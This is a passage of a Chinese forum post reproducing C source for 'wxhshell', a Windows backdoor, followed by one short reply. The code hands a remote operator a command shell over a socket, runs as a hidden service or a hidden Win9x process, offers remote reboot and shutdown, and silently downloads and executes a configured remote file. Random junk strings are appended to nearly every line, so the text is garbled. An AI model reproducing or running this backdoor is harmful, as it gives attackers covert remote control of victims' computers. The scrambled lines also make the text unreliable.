  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ."`mh&+`  
  } 25EuVj`zL  
  else { W5 l)mAv  
n^}M*#  
    switch(cmd[0]) { <'(O0  
  E2.@zY|:  
  // 帮助 [=3f:>ssm  
  case '?': { ~|y$^qy?U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )|52B;yZx  
    break; dU4  h  
  } kdmmfw  
  // 安装 = ;tDYuFc!  
  case 'i': { LYTx8  
    if(Install()) D1xIRyc/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z]L_{=*  
    else R0 yPmh,{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IZ9L ;"}  
    break; +=_^4  
    } o<1a]M|  
  // 卸载 .>X 0 $#  
  case 'r': { U2hPsF4f  
    if(Uninstall()) ucP"<,a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wl^7.IR  
    else i sK_t*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .( )rb y  
    break; .$o0$`}  
    } dWR-}>  
  // 显示 wxhshell 所在路径 _1>Xk_  
  case 'p': { 8%+F.r  
    char svExeFile[MAX_PATH]; jRn5)u  
    strcpy(svExeFile,"\n\r"); 3y# U|&]{  
      strcat(svExeFile,ExeFile); O {hM  
        send(wsh,svExeFile,strlen(svExeFile),0); wP|Amn+;  
    break; {pWb*~!k  
    } 1\t#*N  
  // 重启 rofGD9f   
  case 'b': { \zx &5a #  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lwVo%-  
    if(Boot(REBOOT)) E%.w6-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^X?D4a|;#g  
    else { d:<</ah  
    closesocket(wsh); ]J '#KT{  
    ExitThread(0); hRU5CH/!  
    } +VSq[P  
    break; "e-RV  
    } },]G +L;R  
  // 关机 >b1#dEY  
  case 'd': { 8*bEsc|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w=;Jj7}L  
    if(Boot(SHUTDOWN)) 1WP(=7$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `)aIFAW  
    else { 23(j<  
    closesocket(wsh); If*+yr|  
    ExitThread(0); L vPcH  
    } ^ UDNp.6k  
    break; t@#l0lu$  
    } }Sx+:N*  
  // 获取shell r3}Q1b&  
  case 's': { vyA `Z1  
    CmdShell(wsh); W'xJh0o  
    closesocket(wsh);  Lw1aG;5  
    ExitThread(0); Sb|9U8h  
    break; \*+-Bm:$j  
  } !H^e$BA  
  // 退出 2uEvu  
  case 'x': { sX c|++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CG0jZB#u  
    CloseIt(wsh); c$fYK  
    break; \i.Yhl:O  
    } ~Qm<w3oy  
  // 离开 = }!4%.$  
  case 'q': { EpCT !e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !uc"|S?  
    closesocket(wsh); hM NC]  
    WSACleanup(); ]n 'FD|  
    exit(1); }~O`(mnD}K  
    break; U3tA"X.K  
        } w|G4c^KH  
  } cYx.<b JH  
  } z#u<]] 5  
"Nh}_jO  
  // 提示信息 xsERnF>`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Wu J9  
} w7e+~8|  
  } +#RqQ8 \  
5<77o|  
  return; .Gcs/PN   
} gNaB^IY  
Y7GHIzX  
// shell模块句柄 Ap)pOD7  
int CmdShell(SOCKET sock) qZB}}pM#  
{ QT)5-Jy  
STARTUPINFO si; gCP f1z  
ZeroMemory(&si,sizeof(si)); yk0#byW`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +'ADN!(B_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; slH3c:j\  
PROCESS_INFORMATION ProcessInfo; )+dd  
char cmdline[]="cmd"; #,jw! HO]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y q(CD!  
  return 0; V6a+VfH  
} ;-"'sEu}  
| HfN<4NL  
// 自身启动模式 cz.,QIt_  
int StartFromService(void) %$ ^ eY'-'  
{ Bxf]Lu,\U@  
typedef struct LQDU8[-  
{ W</\F&  
  DWORD ExitStatus;  ?@iGECll  
  DWORD PebBaseAddress; M|9=B<6`7  
  DWORD AffinityMask; Kq&JvY^  
  DWORD BasePriority; z$b'y;k  
  ULONG UniqueProcessId; u8N"i),  
  ULONG InheritedFromUniqueProcessId; Cp!Qd e  
}   PROCESS_BASIC_INFORMATION; 0`~#H1TK  
LG:Mksd8=4  
PROCNTQSIP NtQueryInformationProcess; ,k+F8{Q.  
`S:LuU8e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 R,?kUa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P+(q38f[  
0oNy  
  HANDLE             hProcess; 5169E*  
  PROCESS_BASIC_INFORMATION pbi; GSaU:A  
jrLV\(p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hw)#TEt   
  if(NULL == hInst ) return 0; O]-s(8Oo3  
.u^4vVz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5"^Z7+6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); } U_z XuUz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6[S-%|f  
vfpK|=[7o  
  if (!NtQueryInformationProcess) return 0; <}n"gk1is  
bTJ l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gid6,J  
  if(!hProcess) return 0; ]~t4E'y)z  
;T\'|[bY   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )I(2t 6i  
`HV~.C  
  CloseHandle(hProcess); OTV$8{  
:7DXLI|L#?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w+G+&ak<  
if(hProcess==NULL) return 0; Cs?[   
@78%6KZ`i  
HMODULE hMod; \ ix& U  
char procName[255]; hVf;{p &  
unsigned long cbNeeded; u~\l~v^mj  
YAJr@v+Ls  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -_+,HyJP  
AH'4k(-  
  CloseHandle(hProcess); -YJ4-]Z  
Jx3fS2  
if(strstr(procName,"services")) return 1; // 以服务启动 \+VQoB/  
^Y?Y5`! Q  
  return 0; // 注册表启动 #-9@*FFL,  
} }&Kl)2:O  
9ELRn@5.  
// 主模块 SU>cJ*  
int StartWxhshell(LPSTR lpCmdLine) u7}C):@H  
{ /@feY?glc  
  SOCKET wsl; +_v#V9?  
BOOL val=TRUE; rLx'.:  
  int port=0; 1 ILA Utf)  
  struct sockaddr_in door; Z<W`5sop^  
(M nK \^Y  
  if(wscfg.ws_autoins) Install(); c(r8 F[4w  
M TOZ:b  
port=atoi(lpCmdLine); Xot2L{EIUE  
(8jQdbZU  
if(port<=0) port=wscfg.ws_port; >@uFye$  
&hSF  
  WSADATA data; 6y   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kJK:1;CM?.  
<nbc RO.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WYY&MHp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [E6ZmMB&  
  door.sin_family = AF_INET; JxLSQ-"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^zVW 3 Y q  
  door.sin_port = htons(port); BX-fV|  
;`:A(yN]T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SeIL   
closesocket(wsl); 8s)(e9Sr  
return 1; F|^tRL-  
} Ae|bAyAK  
thrv_^A  
  if(listen(wsl,2) == INVALID_SOCKET) { 7]lUPLsl  
closesocket(wsl); r9!,cs  
return 1; Rs;Y|W4'  
} .kZ<Q]Vk  
  Wxhshell(wsl); ql(~3/kA_  
  WSACleanup(); >@?`n}r|  
)A=&3Ui)ab  
return 0; {RHa1wc  
2 3*OuY  
} m`6=6(_p  
w*krPaT3  
// 以NT服务方式启动 5[|ZceY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MoMxKmI  
{ t2RL|$>F1  
DWORD   status = 0; EVW\Z 2N.  
  DWORD   specificError = 0xfffffff; f/UIpswrZ'  
-Gd@baV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @nxpcHj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '-M9v3itC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tjj-8cg  
  serviceStatus.dwWin32ExitCode     = 0; )bl^:C  
  serviceStatus.dwServiceSpecificExitCode = 0; UB3hC`N\  
  serviceStatus.dwCheckPoint       = 0; y?ypRCgO.u  
  serviceStatus.dwWaitHint       = 0; ak$D1#hY  
-E>LB\[t)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "T1A$DKw+R  
  if (hServiceStatusHandle==0) return; y[d>7fcf  
ZfnJ&H'  
status = GetLastError(); a|kEza,]  
  if (status!=NO_ERROR) 6h{>U*N"&d  
{ =H/ 5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &*9 ' 0  
    serviceStatus.dwCheckPoint       = 0; 0i~?^sT'  
    serviceStatus.dwWaitHint       = 0; \fJ _,  
    serviceStatus.dwWin32ExitCode     = status; nZ8jBCh  
    serviceStatus.dwServiceSpecificExitCode = specificError; d~z%kl 5:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cd]def[d  
    return; -I.BQ  
  } ewVks>lbz  
 %&pd`A/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _FP'SVa}D  
  serviceStatus.dwCheckPoint       = 0; SshjUNx  
  serviceStatus.dwWaitHint       = 0; b0uWUI(=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PXo^SHJ+gt  
} rH9[x8e  
|DLmMsS4  
// 处理NT服务事件,比如:启动、停止 e7M6|6nb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :aWC6"ik-W  
{ }$@E pM  
switch(fdwControl) 5~{s-Ms  
{ U~O*9  
case SERVICE_CONTROL_STOP: /kNSB;  
  serviceStatus.dwWin32ExitCode = 0; h=ben&m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /PZxF  
  serviceStatus.dwCheckPoint   = 0; ~=gpn|@b  
  serviceStatus.dwWaitHint     = 0; |SuN3B4e  
  { 51Q~/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*7:L  
  } 1)J' pDa  
  return; FZx.Yuv  
case SERVICE_CONTROL_PAUSE: "GB493=v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lD6PKZ\RIj  
  break; StU9r0`  
case SERVICE_CONTROL_CONTINUE: o?S!o}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \T {<{<n  
  break; }TRVCF1  
case SERVICE_CONTROL_INTERROGATE: cXbQ  
  break; KEo?Cy?%ff  
}; xP $\ }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lrq e:\  
} [WO>}rGw4  
<`d;>r=4z  
// 标准应用程序主函数 7uq^TO>9f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jf=\\*64r4  
{ \CrWKBL  
t)hi j&wzu  
// 获取操作系统版本 >r.W \  
OsIsNt=GetOsVer(); @P/6NMjZ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h I7ur  
=DwY-Ex  
  // 从命令行安装 (w-@b70E  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1"~$(@oxG  
aRcVoOq  
  // 下载执行文件 s=hao4v7z  
if(wscfg.ws_downexe) { b)7v-1N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kHd`k.nW  
  WinExec(wscfg.ws_filenam,SW_HIDE);  0X}0,  
} F&a)mpFv3c  
w]O,xO  
if(!OsIsNt) { m-lTXA(  
// 如果时win9x,隐藏进程并且设置为注册表启动  =h|xlT  
HideProc(); m.Ki4NUm  
StartWxhshell(lpCmdLine); l`."rei%)  
} rY295Q  
else B!((N{4H+  
  if(StartFromService()) lH/7m;M  
  // 以服务方式启动 F"0=r  
  StartServiceCtrlDispatcher(DispatchTable); T+41,  
else IGF25-7B  
  // 普通方式启动 ,$Xhwr  
  StartWxhshell(lpCmdLine); L u1pxL  
96i #  
return 0; w#{S=^`}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五